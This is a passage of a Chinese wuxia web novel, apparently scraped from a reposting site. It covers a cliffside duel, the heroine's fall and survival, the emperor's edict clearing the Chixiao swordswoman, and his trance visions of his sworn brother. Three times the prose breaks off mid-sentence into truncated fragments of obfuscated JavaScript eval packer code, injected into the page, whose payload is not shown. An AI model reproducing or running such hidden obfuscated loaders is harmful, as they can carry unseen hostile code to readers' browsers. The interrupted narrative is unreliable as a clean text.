“嗖嗖嗖!”数十支利箭密密麻麻射过来。 秦信踏前一步,身子绷紧,只觉心跳得厉害。 剑光乍起! 女子手腕翻飞,长剑化作一片光幕,叮叮当当之声不绝于耳,射来的箭矢尽数被拨开。 秦信见状,微微松了口气,这才感觉牙齿咬住了舌尖,一阵刺痛。他抿抿唇,不动声色地松开。 又是一轮更密集的箭雨袭来。 马荣显然急了,他一把抢过身边人的弓箭,弓开满月,一箭连着一箭,箭矢挟着惊人的力道破空而来,比普通帮众的箭快得多,也沉猛得多。 姜六航的速度被迫慢了下来,但仍保持着稳健的步速。方三缩在她身后,如同一道无声的影子。 秦信目光落在男子身上,不自觉地皱起眉头。 虽说江湖儿女不拘小节,眼下又是特殊情形,但这男子也太放肆。他稍稍往后挪一点,箭矢也不见得会伤着他,偏要贴得那样紧。 竟没一支箭射中两人。 马荣的脸色阴沉下来。 他手下有一神射手,若是那人发箭,女子绝不可能如此轻易避开,可惜那人早前逃往这里时被铁骨军杀了。 不过马荣也不是很着急。 即使女子走过通道,过来后也必死于他的刀下。 终于,两人抵达路口。 所有人的心都提到了嗓子眼。 马荣扔下弓箭,接过帮众递来的厚背大刀,眼中凶光毕露,汇聚全身功力,朝着立足未稳的两人,一刀狠狠劈下。 刀光凛冽,刹时笼罩了两人所有闪避的空间。 完了! 悬崖这边的众人脑中齐齐闪过这个念头。 当今天下第一高手的全力一击,两人又处在险地,绝不可能逃出性命。 “嗡!”姜六航手中长剑发出一声清越悠长的轰鸣。 在众多的嘈响中,这声并不是很响的轰鸣却清晰地传入众人耳内,仿佛直接震在他们的心脏上,让他们的血液都为之一滞。 随着这声响,剑花猝然绽开。 朝阳之下,千万道璀璨夺目的金色剑芒散开,每一道都蕴含着无匹的凌厉与决绝,令人心惊胆寒。 “如意剑法!”逍遥剑贾录首先叫出。 紧接着,如同滚油泼进冷水,悬崖这边炸开了锅。 “如意剑法!” “她是赤霄剑客!” 惊呼声、难以置信的抽气声汇聚成一片沸腾的海洋,声浪掀天。 秦信意外地眯起凤眸。 “逆徒!”黄超握紧剑柄,手背青筋毕露,目中愤恨,又似有庆幸,一字字像在自言自语,“你没死。” 姜六航一剑撕开一道口子,趁机跃上悬崖边,左手一扬,把针筒甩给方三。 她听见悬崖另一边传来的震天喧哗,知道已被认出。毕竟,那里很有些人当年和她交过手,更何况,还有师父在场。 在踏上通道的那一刻,她就已经预料到了这一刻。身份暴露,无可避免。她深吸一口气,压下心头的情绪,专心和马荣对招。 悬崖边,石墙之后,这场被武林万众期待的两位昔日武林盟主之间的对决,在延误十年之后,仓促到来。 可惜大部分激斗被石墙遮挡,这边的众人瞧不甚清楚,只能从墙后闪烁的凛冽寒光,从密集的金铁交击之声,想象着那份凶险与激烈。 偶尔有身影腾空而起,凌厉无匹的招式如惊鸿一瞥,一闪而逝。 姜六航眼角余光瞥见方三窜到树上,轻描淡写地一抬手,几点银光闪过,方三再过去脚尖一踢,那两个帮众无丝毫反抗的动作,被他踢下崖去。 有帮众怒吼着冲去,方三灵活地跳回崖边,竹筒再次抬起,冲去的帮众应声倒地。 好!方三暂时能应付! 姜六航抓住马荣被方三那边动静稍分神的刹那,猛地转身扑向路口,长剑挥舞,瞬间将几个试图靠近放箭的帮众斩杀。只要堵住这里十几息,不让斩月楼的人往通道射箭,悬崖那头的高手就能冲过来。 马荣立刻察觉了她的意图,攻势变得更加狂暴凶猛,刀光如匹练,带着撕裂一切的威势疯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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那眼神里的决绝和疯狂,让姜六航心头陡然一悸。 “皇上,让臣去!”冯简终于追上,伸手阻拦。 秦信挥开他,声音沉冷:“朕去杀马荣。你替不了朕。” 为何替不了? 只一转念,姜六航就明白过来:大哥,是要亲手为她报仇。 一股热流蓦地涌上喉头,她咬了咬牙,剑势猛然暴涨,寒光闪过,又在马荣身上添了一道口子。 马荣已无还手之力,姜六航分出一部分心神,盯着通道。眼见大哥踏上险道,她的心随之高悬,每一步都像踏在她的心尖上。 终于,那人走到尽头,踏到崖上。 姜六航长吁一口气,心这才落到实处。 那头,一直屏息的洛太守也吐出一口气,抹了一把额头的冷汗,感觉自己的脑袋暂时保住了。 秦信对周围一切恍如未见,径直奔向激斗的战场中心。 再迟一会,马荣就被赤霄剑客杀了。 他抽出匕首,紧紧握在手中,窥伺在正打斗着的两人身边,寻找着进攻的机会。 冯简和御林军们如临大敌地护在一旁,既要防备战场流矢,又要随时准备在皇帝出手时护驾。 就在姜六航压着马荣的刀时,秦信猛地冲了上去。 “不要!”姜六航大叫。 可是来不及了。 马荣回手,“嗤啦!”秦信肩头的衣袍连同皮肉被划开,鲜血瞬间涌出。他头上的帏帽也被刀风掀飞。 几点温热的血珠,溅在了姜六航胸前的衣襟上。 与此同时,“扑!”秦信手中的匕首,深深地没入了马荣的胸膛,发出一声沉闷的声响。 时间仿佛在这一刻静止。 似乎过了很久,又似乎只有短短的一瞬,秦信猛地抽出匕首。 一股滚烫的血泉,随着匕首的拔出,狂喷而出。 姜六航的视线,撞上了一张被浓稠鲜血覆盖的脸。 血污之下,那双熟悉的凤眸里,翻涌着骇人的红光。那光芒灼亮得如同燃烧的鬼火,里面盛满了滔天的恨意、毁灭一切的疯狂,以及,一种令人心碎的的空洞。 姜六航的心脏像是被一只无形的手猛地捏紧,尖锐的疼痛伴随着难以言喻的酸楚,从心脏蔓延至四肢百骸。 这里的变故吸引了所有人的目光。 贾录目光一闪,高声道:“赤霄剑客,我来领教你的剑法!” 话音未落,剑光已至,直袭姜六航面门。 冯简等人立刻拉着受伤的秦信急退。 同一时刻,濒死的马荣爆发出野兽般的嘶吼,竟不顾胸口致命的伤口,将残存的所有内力疯狂灌入刀中,用尽最后的力量,朝着姜六航劈出一刀。刀势惨烈,带着同归于尽的决烈。 999急喊:“航航!快躲!” 姜六航猛然回神,急速后退,却忽地脚下一空,往下跌去。 她忘了,身后三步即是悬崖。 “徐姑娘!” “衡儿!” 随着一声沉哑、一声粗犷的呼喊,两道身影扑向崖边。 手指忽地被抓住,下坠之势猛地一顿。 姜六航愕然抬头望去,正对上大哥染血的脸。 他半个身子探出崖外,死死攥紧那根手指,肩膀处的伤口因用力而鲜血狂涌,顺着衣袖,滴到姜六航的指尖,温热黏稠。 “抓住!”他牙缝中挤出破碎的音节。 可是只一息,姜六航的指尖从他手掌中滑脱。 身体急速下坠,帏帽被强劲的气流卷走,满头青丝在风中狂乱地飞舞。 “衡儿!”黄超扑到崖边,伸出的手只抓住一把空气。 秦信保持着向前抓握的姿势,僵硬地跪在崖边,掌心还残留着微弱的温度。 55. 第 55 章 “啊啊啊啊啊啊啊啊啊啊啊啊啊啊!!!!” 一只灰色的鸟从空中急掠而来:“啾啾、啾啾、啾啾!” 姜六航往下坠落,脑海里999尖叫,身边小灰急鸣。 这几年,999似乎长大了些,比从前沉稳很多。没以前那样呱噪,也很少再像这样“啊啊啊”地尖叫。现在是真的被吓着了,声音里带着哭腔:“航航,怎么办怎么办?你要摔死了!统也要消亡了,呜呜呜——,统不要死!” “航航,要不,统把最后所有的能量给你加个防护罩?你就不会摔死,还可以再活五个月。” “不用。”姜六航道。 她目光锁定崖壁斜刺里伸出的虬枝,足尖在其上一点,借力旋身,险险贴近湿滑的岩壁。趁着下坠之势稍缓之时,她运转内力,手中长剑悍然刺向岩壁! “锵!” “呲啦啦!” 刺耳的摩擦声爆响,火星在剑刃与岩石间狂乱迸溅,巨大的阻力撕扯着姜六航的手臂,落下的速度逐渐减缓。剑身在摩擦下寸寸消融,越来越短,最后只剩尺许。 姜六航眼中厉色一闪,将所有力量贯注双臂,狠狠一送。 “噗嗤!” 残剑深深楔入一道岩缝,只剩剑柄在外,她整个人悬空挂在了剑柄上,脚下是令人眩晕的深渊。 “航航,你好棒!”999高兴过后,又生起无数担忧,“现在怎么办?等着救援吗?他们什么时候能找到你?这剑结不结实,能撑多久?” 姜六航急促喘息,冷汗浸透鬓角,目光急扫下方。 运气真好。 就在正下方两丈处,有一颗崖壁上生出的大树,枝干粗壮如成人腰身,看着就牢固。 没有丝毫犹豫,她左手猛拍崖壁,右手紧握剑柄全力一拔。 “咔嚓!” 残剑离壁,她如一片落叶,轻巧地坠入茂密的树冠,被坚韧的枝干稳稳托住。 暂时安全了。 背靠粗糙的树干,心脏狂跳如擂鼓,每一次呼吸都牵扯着酸痛的肌肉。 紧绷的神经骤然松弛,姜六航喘着气道:“三九。” 正欢呼的999:“啊?” 姜六航:“你说把能量全部给我,那你会怎么样?” “统没有能量,就消亡了啊。与其都死,不如让航航你多活五个月,好歹赚一点,哪晓得航航你这样好本事。”999声音中满是欣喜,“这下我们都能活啦!” 姜六航掩下复杂心绪,扬眉回道:“嗯!” 能活了。 她想起落下悬崖时,师父叫的那声“衡儿”,声音里满是惊痛。 师父,也许没有那么恨她,至少没想着她死。 当年她被追杀,师父始终没往外说,她戴着龙影面具。 人皆以为鬼手神医只制出一张龙影面具,被方三偷了去,却不知赤霄剑客脸上早已戴了一张。 那时候,只要她取下面具,人们就再找不到赤霄剑客。师父明知道,却没告诉别人,任由他们拿着赤霄剑客的画像搜寻她。 “啾啾。”小灰落到她肩上,歪着头,乌黑的眼珠瞅着她。 姜六航:“是你告诉方三,我是姜帅?”她轻轻点了点它的头,“你个傻鸟,又不会说话,怎么告诉他的?” 小灰:“啾啾。” 姜六航没好气:“坏东西。” 999:“航航,小灰只是只鸟,不懂事,你别和它计较。” 姜六航:“……” 这还护上了。 姜六航懒得再理会,扒开枝叶观察崖底。 恰在此时,一道身影擦着树冠边缘急速坠落,怀中掉出一块铜牌。 御林军的令牌! 姜六航瞳孔骤缩,视线紧随那军士下坠的身影。 蓦地,她瞪大眼。 五丈之下,竟然张着层层叠叠倾斜的巨大绳网。 先前被枝叶遮挡,竟完全没发现。 军士撞入网中,下坠之势被层层卸去,如同陷入柔软的云絮,缓缓下沉,顺着网面滚落,很快隐入下方更茂密的植被里。 人工布置的救生网。 是大哥! 昨天她说出人质地点处,到军队出动之前有段时间,那时大哥就说,要先做一番布置。大哥熟悉黑岩山,算准了马荣可能的退路和狗急跳墙的手段,提前布下了这保命的网兜以防万一。 网面倾斜向下,最大程度缓冲冲击,加上武者本身的内功底子,足以保命。 崖下,必有接应的御林军,自己人救起,敌人则擒住。 “反派真细心。”999也想明白了,先由衷地赞了一句,转而又疑惑道,“那刚才马荣要砍绳子,那些人急得要拼命,反派怎么不悄悄告诉他们有网?” 姜六航:“那些人知道后,就没那么着急了,马荣起了疑心,不砍绳子了,干脆用刀剑把人质捅个对穿,怎么办?” 999吓了一跳:“那可不行。还是反派想得周到。” 姜六航深以为傲:“是啊,大哥一向冷静睿智,虑事周全。” 话音未落,大哥那张染血的脸浮现在脑海里,那眼中的疯狂偏执,又哪里称得上冷静?印象中的大哥,温润、明智,如今,却变成了这副模样。 心口骤然传来一阵沉闷的刺痛,闷得她几乎喘不过气。 她垂头,慢慢用衣袖擦去指头的血迹,那是大哥抓住她时染上的。 擦完后,她侧头,睨着肩上的小灰:“再跟着我,杀了你炖肉汤喝。” 小灰浑身绒毛一炸,“啾”地一声,飞向高空,瞬间消失不见。 姜六航闭了闭眼,再睁开时,已压下所有情绪。她张开双臂,向后仰倒。 —— 就在姜六航主动跳下之时,崖上。 “皇上!”冯简伸手去拉秦信。 秦信抬手制止,撑着地缓缓站起。冯简递上布巾,他沉默地接过,擦拭着脸上和手上的血迹。军士熟练地为他包扎肩头的伤口。 “皇上,”冯简觑着他晦暗不明的脸色,低声宽慰,“徐……姜姑娘身手卓绝,定能化险为夷。” 秦信眸中闪过一道幽光,擦脸的动作顿了顿,过了片刻才又继续。 他当然知道赤霄剑客死不了,可那一刻,看着她身影坠下,他大脑一片空白,下意识地就扑了过去。 是因为那一点点相似? 身体绷紧,肩上刚刚缓下的血流骤然加大,冲走洒上的药粉。 “皇上。”冯简低声叫。 秦信敛下思绪,慢慢放松身体。 “贾录!”一声饱含怒火的厉喝炸响,“拔剑!” 贾录愕然:“黄大侠?你这是何意?” 黄超右侧脸颊的伤疤泛出红色,铜铃大眼中含着水光:“我的徒弟,还轮不到你来教训!你将她逼下悬崖……来!让老子领教领教你的逍遥剑!” 贾录脸色一沉:“破山剑,你疯了?赤霄剑客厚颜无耻,对恶贼卑躬屈膝,乃武林败类,我杀她,有何不对?” “你放屁!”悬崖对面的少年们瞬间炸了锅,“姐姐不是那样的人,她定有苦衷。” 应辉踏前一步,声音中带着压力:“《江湖令》明令,不得私刑处决未定罪的江湖人。逍遥剑不会不知吧?” 贾录心中一突。 私下违反《江 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他张口欲辩,黄超却已扑过来,剑风呼啸,直刺咽喉,他只得仓促举剑格挡。 “铿!锵!” 金铁交鸣。 两人瞬间缠斗在一起,剑光霍霍,劲气四溢。 武者们围拢观战。 战场已清理完毕,秦信却丝毫没有离开的意思,负手而立,注视着场中激斗。 两人武功不相上下,几十招还未分出胜负。 秦信一直显得很有耐心,脚下一步都未挪动,始终注视两人,似乎打定主意要看出个结果。 冯简暗自纳罕。 皇上何时对江湖私斗如此关注?崖下明明有布置,赤霄剑客定然无事,只要点破,这场架也就打不起来了。可皇上方才却暗中吩咐暂不透露。 冯简偷眼看向秦信沉冷的侧脸,只觉帝王心思,深如寒潭,连他这个最贴近的人也看不透了。 黄超一剑削向贾录手腕,贾录正欲变招,忽然一点银光飞来,有什么扎进手背,他顿时全身发麻,不能动弹。 黄超的剑锋毫无阻碍地掠过。 一只断手连同紧握的长剑,“啪嗒”一声掉落尘埃。断腕处鲜血狂喷,手背上,一点银白的针尾在日光下闪烁。 众人骇然失色,齐刷刷看向银针来处,却见先前和赤霄剑客一起走过通道的那个男子飞速地奔向路口。 黄超大叫:“方三,针筒留下!” 那人充耳不闻,转瞬到了悬崖那边,几个起落便消失在山道尽头。 “啊!”迟来的剧痛袭来,贾录捧着断腕,发出凄厉惨嚎。 几个与贾录交好的武者慌忙抢上,点穴止血,撒上金疮药。 伤不致命,但贾录以后再不能用剑。 江湖上,此后再无逍遥剑这号人物。 秦信转头,淡声对身边御林军道:“带上马荣的头颅,回城。” 56. 第 56 章 从黑岩山返回的当夜,太守府。 烛影摇动,映着皇帝冷硬的侧脸,冯简垂手肃立在他面前,禀报此次围剿的结果。 “皇上,黑岩山的斩月楼帮众已清剿完毕,非死即擒。”冯简清晰地道,“锦衣卫撬开了两个人的嘴,顺藤摸瓜,查到府城里和马荣勾结的官员,是和州长史。” 秦信指尖点着桌案,那里摊着几页墨迹未干的供词。 “臣带人赶到时,长史已然饮下毒酒自尽。”冯简继续道,声音紧绷,“身边几个心腹随从,都被他自尽前用剑刺死。锦衣卫搜遍全府,没找到有用线索,不知他受何人指使。” 秦信的目光掠过那些供词,半晌开口,声音平淡,问的却与斩月楼、马荣、长史毫无干系:“赤霄剑客呢?” 冯简愣了一愣才道:“守在崖底的军士说,赤霄剑客被救起后,马上就走了。” “可有留下话?” “没有。军士们说,赤霄剑客走得很急,似乎有什么急事。” 秦信眼睫未抬,缓缓翻过一页口供,指尖在纸面上停留片刻。 冯简虽猜不出皇上所想,但既然皇上问起赤霄剑客,便是对这人关注,于是小心补充道:“破山剑黄超与神偷方三都去了崖底,本是寻赤霄剑客的尸体,得知她未死,很是欢喜。只是去迟一步,赤霄剑客早走了,他们没能见着。” “黄超和方三在崖底碰面了?没打起来?” 冯简见皇上追问,心道自己主动说这事,果然没错,回道:“黄超追着方三索要针筒,方三身法滑溜,黄超未能追上,御林军也没拦住他,他跑得太快了。” 室内再次陷入沉寂。 冯简有些不安,垂在身侧的手悄然握紧,掌心里出了一层汗。 当年皇上曾下令,夺下鬼手神医被方三盗走的丹药,后来数年都未寻到方三踪迹。此次碰上,却又失之交臂。 秦信终于抬眼,眸色深不见底:“只索要针筒?未提增气丹、回春丹、龙影面具?” 冯简回忆了一下军士的叙述,肯定地道:“没有,只提了针筒。”他推测道,“或许,那三样宝物,鬼手神医已然夺回?” 秦信沉吟未语。 方三不好找,找黄超和鬼手神医却不难,冯简试探着请示:“皇上,是否着锦衣卫寻黄超或鬼手神医问个明白?若丹药在鬼手神医手中,或可……” 秦信眸光一暗。 增气丹、回春丹,原是想为六航备下的,可如今…… 心口猝不及防的剧痛撕扯开来,他咬紧牙关,待那阵令人窒息的痛楚缓缓退去,他摆摆手,声音透着浓重的倦怠:“不必。往后丹药之事,不必再提。” 冯简心知皇上为何这样吩咐,眼底掠过一丝黯然,低声应诺:“是。” 秦信按了按纸张,突然想起一事,随口问道:“崖底的人,可瞧见赤霄剑客的脸了?脸上有伤?很丑?” 冯简:“军士说,她脸上并无伤痕,容貌不俗。” 秦信手指顿住,想起那女子站在他面前,镇定自若地说脸上有伤,丑陋不堪,怕吓到人。 他嘴角挑起一个讥讽的弧度:“满嘴谎言。” 冯简:“……” 这事其实怪不得赤霄剑客,她在江湖上人人喊打,当然不敢露出真面目。且她不知问她话的人是天子,撒个慌情有可原。 不过冯简与赤霄剑客又无甚交情,当然不会顶着皇上的不悦替她辩解,于是只沉默不语。 房间里一片寂静,片刻后,秦信道:“《斥姜衡文》收缴后,悉数销毁,按市价补偿物主。” 冯简愕然抬头,先前旨意是将“姜衡”改为“赤霄剑客”,怎么突然变了? “着各地官府张贴告示,”秦信指节轻叩桌案,发出笃笃轻响,“详述赤霄剑客三年来追剿斩月楼之功,及此番解救人质之义举。昭告天下,其有功于国,不失大义,些许小过,既往不咎。”他略一沉吟,“让人摹写她呈交官府的名单,一并张贴于告示之侧,以为佐证。” 冯简面露迟疑:“皇上,那字迹委实不甚雅观,张贴出去……赤霄剑客的脸要丢到全天下去了。” 他几乎能想象那字迹示众后民众的哄笑。 皇上当真不是在报复赤霄剑客当面撒谎? 秦信淡淡瞥过来一眼:“丢的又不是你的脸,你操心什么?” 冯简心底为赤霄剑客默哀,不敢再多言,连忙领命。 又听得皇上唤道:“冯统领。” “臣在。”他连忙应道。 却过了好一会,也没听见皇上吩咐。 烛芯爆开,“嗤”地一声轻响。 冯简偷眼瞧去,皇上按着额头,脸被衣袖挡住,看不见表情。 足足十来息,才听得皇上的声音响起,带着一丝决绝:“往后赤霄剑客的消息,你自行处置,不必再报于朕。” 冯简愕然不解。 皇上分明方才还那般在意。 他压下困惑,应道:“是。” “去请悟尘大师。” 皇上又要用那和尚的法子沉入过往幻梦? 冯简想劝一劝,话才到嘴边,皇上已然冷声催促:“快去。” 他只得咽下担忧,匆匆而去。 悟尘早已安置在太守府,来得很快。 他走到皇帝面前,合掌行礼,面色悲悯:“姜施主欲要回到何时?见何人?” 秦信目光虚虚地落在墙上被拉长的黑影,声音飘忽:“宣德二十五年,姜帅领兵出征通州,那日我有幸在场,想回看一下当时的场景。” “阿弥陀佛。”悟尘低诵一声,自袖中取出一枚铜钱。 “轻轻地闭上双眼,全身放松……” 在柔和的音调中,秦信闭上双眼,意识逐渐模糊,似乎被无形的力量牵引着,跃过时空,到了那一日。 他睁开眼,满目辉光。 十万铁骨军排着整齐队列,刀枪如林,寒光刺破长空。 战马嘶鸣,鬃毛随风飘动。 帅旗高高飘扬,猎猎作响,一个斗大的“姜”字醒目至极。 义弟并肩站在他身侧,一袭火红轻甲,英姿勃发,顾盼神飞。 “大哥,我去了。”义弟侧过头,笑容灿烂,声音清朗。 义弟脸上的神采太耀眼,照进了他心底最深的角落。 浓浓的不舍与担忧升起,他想伸出双臂,紧紧地抱住义弟,让两人之间不留一点空隙,最好是骨血都融在一起。 费力地克制住冲动,握着拳,他脸上露出笑容。 那笑容,在跟着母亲学习礼仪的日子里,他曾对着铜镜练习过千百次。温润如玉,无懈可击,能让人一眼就产生好感。 忍不住再一次叮嘱:“记得按时用饭,别饥一顿饱一顿。每日至少睡足三个时辰。天气多变,及时添减衣物。” “战场凶险,暗箭难防,千万不要仗着武艺高强一味逞强。” 在义弟含笑的目光中,他蓦地停住。 自己是不是有点太啰嗦了? 可对着义弟,他总忍不住多想、多说。 深吸一口气,他凝视着那双盛满阳光的眸子,郑重道:“多加小心,去吧。” 义弟的脸忽然凑近,近得他能看清那眼睫细微的颤动,能闻到发间清爽的皂角气息,还有衣襟上沾染的浅淡檀香。 呼吸瞬间停滞。 心口像是被什么又酸又软的东西狠狠撞了一下,隐秘的狂喜与无望的悲凉交织缠绕,将他反复拉扯。 温热的手掌在他肩头轻轻一拍,语音亲昵:“大哥,你等着我凯旋!” 一股酥麻的热流自肩膀窜入全身,他勉强维持住声音的平稳,应道:“好。” 义弟翻身跃上高台,稳稳站定,振臂高声道:“将士们!敌人虎视眈眈,要践踏我们的家园,要抢走我们的钱粮,要杀害我们的亲人,我们能忍吗?能退吗?” “不能忍!不能退!”山呼海啸般的回应震耳欲聋。 义弟猛地挥手:“让我们迎上前去,痛击外敌!” 军士们轰然回应:“痛击外敌!痛击外敌!” 大军开拔,义弟的背影融入人群,再也不见。 他仰着头,让阳光洒在脸上。 真暖啊,真亮啊。 如同义弟给他的感觉。 他多想把这太阳拽下来,藏入怀中,只为他一人所有。 可是……太阳合该在天上,受万民景仰。 正如义弟,本该辉煌一生,光芒万丈,得万世美名。 怎能被他拖入阴晦,受人诟病? 他舍不得。 这份无望的痴念,或许至死,也无人知晓。 可心底深处,总还存着一丝不肯熄灭的妄念。 “轰!” 毫无预兆地,漫天烈焰猛地窜起,瞬间吞噬了一切。夜空被映得通红,浓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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冯简却未动。他按着刀柄,一步踏前,高大的身影几乎将悟尘完全笼罩,冰冷的杀意瞬间锁定了眼前的和尚。 “大师。”他压低声音,一字字道,“既能引导魂魄去到过往,想必,也能让它永远回不来吧?” 悟尘呼吸一窒,面上却露出悲悯的笑:“冯近卫过虑了。贫僧所做,乃是‘引’,非为‘灭’。伤魂害魄乃损及自身根本的大业障,贫僧不敢。” 冯简冷哼一声,盯着对方的眼,半晌,他缓缓松开按刀的手,那股迫人的杀气却未完全散去,冷硬地道:“不敢最好,若有丝毫异动,我有千百种手段,让你求生不得,求死不能。” 悟尘合掌低头:“贫僧明白。” 冯简回到屋内,秦信从桌案前抬眼,打量他一眼,淡声道:“身上的杀气都还未收尽,怎么,威胁了悟尘大师一通?” 冯简“扑通”跪下:“皇上,那术法凶险至此,竟会反噬神魂,臣恳请皇上,万勿再……” “朕心里有数。”秦信打断他。 “皇上!”冯简急道,抬起头,眼中满是忧惧,“臣恐皇上沉溺其中,更恐那悟尘包藏祸心,以妖术……” “放肆!”秦信声音冷怒,帝王威压瞬间弥漫开来。 冯简浑身一颤,后面的话生生卡在喉咙里,重重地磕了一个头,将所有劝谏咽了回去。 他知道,劝不动了。 —— 翌日清晨,车驾启程回京。 官道上,大军经过之处尘土飞扬。 冯简策马到舆车旁,对着里面道:“皇上,从此路返京大约需要五日。” 秦信掀开车帘一角,望向远处层叠的山峦,声音低沉地道:“绕道,先去一趟百晓楼。” 百晓楼。 三百年传承,尽晓天下奇闻秘事。 他要去问一问,在百晓楼那浩如烟海的卷帙之中,是否记载过亡魂归来,或是移魂之事? 冯简也知道百晓楼的大名,转念一想就明白了皇上的目的,应了下来,却听得皇上又吩咐道:“叫悟尘来。” 冯简顿了一下。 皇上求神也罢,招魂也罢,那都伤不到自己,可是三番两次地用那凶险的法子回到过去,一旦有个好歹,怎么得了。 在他迟疑时,皇上的凤目扫过来,含着警告,他只得不情不愿地应了一声,派了军士去叫人。 57. 第 57 章 姜六航从黑岩山下来,回到客栈收拾了一下,结算房钱,往京城而去。 她缓缓而行,尚未走出和州地界,马荣伏诛的消息已如燎原野火,传遍了沿途城镇。 茶肆酒馆,街头巷尾,人人唾沫横飞,议论的焦点不外乎四点: 其一,皇上亲临黑岩山,亲手诛杀乱臣贼子马荣。 其二,销声匿迹的赤霄剑客重出江湖,与马荣惊天对决。 其三,九年蛰伏,赤霄剑客武功精进如斯,不知与昔年衡王相较,孰高孰低? 其四,便是那贴满各城门口的告示,以及旁边那份出自赤霄剑客之手的名单。 姜六航行至城门,抬眼便瞧见自己那手墨宝被高高张贴在城墙显眼处,下头围着一圈指指点点的百姓。一个膀大腰圆的汉子指着名单,笑得前仰后合:“哎哟喂!这字儿是鸡爪子挠的吧?还没我家刚开蒙的小子写得好,哈哈哈哈!” 姜六航:“……” 大哥是好心,经过这番广而告之,唾骂她的声音确实少了大半,不少人开始为她说话,觉得她功大于过。 只是……唉! 被全天下人痛骂,和被全天下人笑话,她竟不知,那滋味,哪个比哪个强些。 若大哥让人在名单旁添上一句“此为赤霄剑客左手书写,只为隐匿行藏”,那便堪称完美了。 大哥一向心思缜密,虑事周全,岂会想不到她会被取笑?又岂会想不到举手之劳便能解围?若她还是姜帅,这点小事,大哥定然早已安排妥当,何须她费半点心神? 可赤霄剑客于大哥,终究只是个无足轻重的陌路人。日理万机的帝王,又怎会为这点小事多费周章? 那人笑够后,转头瞥见旁边一个身着黑衫、头戴厚重帏帽、腰悬长剑的女子,身形与传闻中黑岩山上的赤霄剑客颇有几分相似,眼中顿时浮起狐疑。 不远处几个目光锐利的江湖客也闻声看了过来。 姜六航落荒而逃。 她寻到一间铁匠铺,将长剑抵了些银钱,重新购置了一把横刀,佩在腰间。 自此之后,道上行走,再无人对她这身打扮投来异样目光。 这日傍晚,姜六航正欲进城寻客栈落脚,忽见天际掠过一道熟悉的灰影——正是自黑岩山脱险后便消失无踪的小灰。她脚步一顿,略一思忖,果断转身,背离城门方向,朝着荒凉的野径行去。天色擦黑时,她在野外找到了一间破旧小庙,里面供奉着一尊泥胎剥落、面目模糊的不知名菩萨。 姜六航拂去供桌上的积尘,寻出半截香烛点燃,把神像前供人跪拜的蒲团拖到墙角,抱刀而坐。 刚入夜,破庙的木门“吱呀”一声轻响,一道身影闪入。 来人是个二十七八岁的青年,相貌隽秀,一双眉毛极黑极浓,拘谨地站在姜六航面前,声音带着一丝激动:“姜帅。” 姜六航打量几眼他的新扮相,抬抬下巴:“坐。” 方三拉来另一个蒲团,在她的对面坐下,姿态规矩,双手放在膝上。 姜六航把刀横放在膝上,直接问道:“你如何得知我是姜帅?” 方三利索地全盘托出:“三年前,小灰寻到我,引我到已成废墟的衡王府。那时大火已过去一个月,小灰在焦土瓦砾上盘旋三日,哀鸣不绝。它在告诉我,侠女被困在这里,没能脱身。” 姜六航眉梢微动,毫不意外。 三年前,以及前些天,追踪斩月楼的人时,小灰也如此向她传递过消息。 “我初时以为侠女是死于火场的斩月楼女子。” “后来又怎知不是了?” “我暗中查访数日,得知当日葬身火海的斩月楼女子仅一人。”方三看向姜六航,目光炯炯,“但我探知,她已年过三十,与侠女年纪对不上。” 姜六航挑眉,方三怎知她年龄? 略一回忆,她想起来。 那年在梁州,她去找从庸叔叔诊病,从庸叔叔误将她认作方三,幸灾乐祸地对她说:“才二十来岁,正好的年华,便要殒命,报应不爽!” 那时,真正的方三就被绑在墙角听着。 方三继续道:“死在火场的都不是侠女,可侠女如果出了火场,小灰定能追踪,除非……是从地下遁走。” 姜六航:“你去找地下通道了?” 这事神偷干起来应该很熟练。 果然方三点头道:“当时所有人都撤出了王府,闭门落锁,里面空无一人。我潜入其中,在火场废墟细细搜寻了几日,却没发现任何地下通道。” 姜六航心道:“当然没有。” “我想了两日,始终想不明白,侠女怎会凭空消失。” 姜六航抚着刀鞘:“后来怎会想到我是姜帅?” “为了搞清楚怎么回事,我让小灰重演王府起火那日侠女的行踪。”方三眼中闪着光。 姜六航疑惑:“怎么重演?” 方三:“小灰带着我,将侠女那天走过的路,分毫不差地重走了一遍。” 姜六航:这小灰,成精了吧? 似乎看出她的不可思议,方三解释道:“小灰天生灵异,又经过训练,才能如此。” “那日,侠女由南门入京,自王府正门而入,其后便一直留在正院,直到火起。”方三直直盯着对面,“我多方查证,当天自正门进入王府的,唯有姜帅!” 姜六航挑刺:“你这判断太不严谨,我若是趁机从正门潜入的呢?” “侠女从正门到正院,是沿大道,光明正大,毫无遮掩闪避。若是潜入,不可能如此。” 姜六航无话可说。 有小灰这样的神鸟,暴露身份,怨不得她。 “侠女是姜帅,确凿无疑,可我还是没想明白,”方三希冀地望向她,像渴望答案的学生,“侠女是如何从火场中脱身的?” 姜六航没答他,转了话题:“你又怎知我是赤霄剑客?” 在黑岩山上,她使出如意剑法,众人惊呼,可方三脸上无半点意外神色,显然早已知晓。 方三面上显出失望,摸了摸头:“这……是从鬼手神医处得知的。” 这答案出乎姜六航意料,她原以为又是小灰作祟:“怎么回事?” 方三:“兴元元年八月,我出手盗了一件宝物,鬼手神医便开始疯狂捉拿我。他召集了许多帮手,一次失手,我被捉住了。” 鬼手神医捉住他后,迫不及待地来摸他的脉,一边嘴里嘀咕着:“不可能啊,早就应该死了啊,怎么还活着呢?” 姜六航听方三说到这里,不由得紧张:“然后呢?” 破庙外,夜风吹过残破的窗棂,发出呜咽的轻响,烛火跳动。 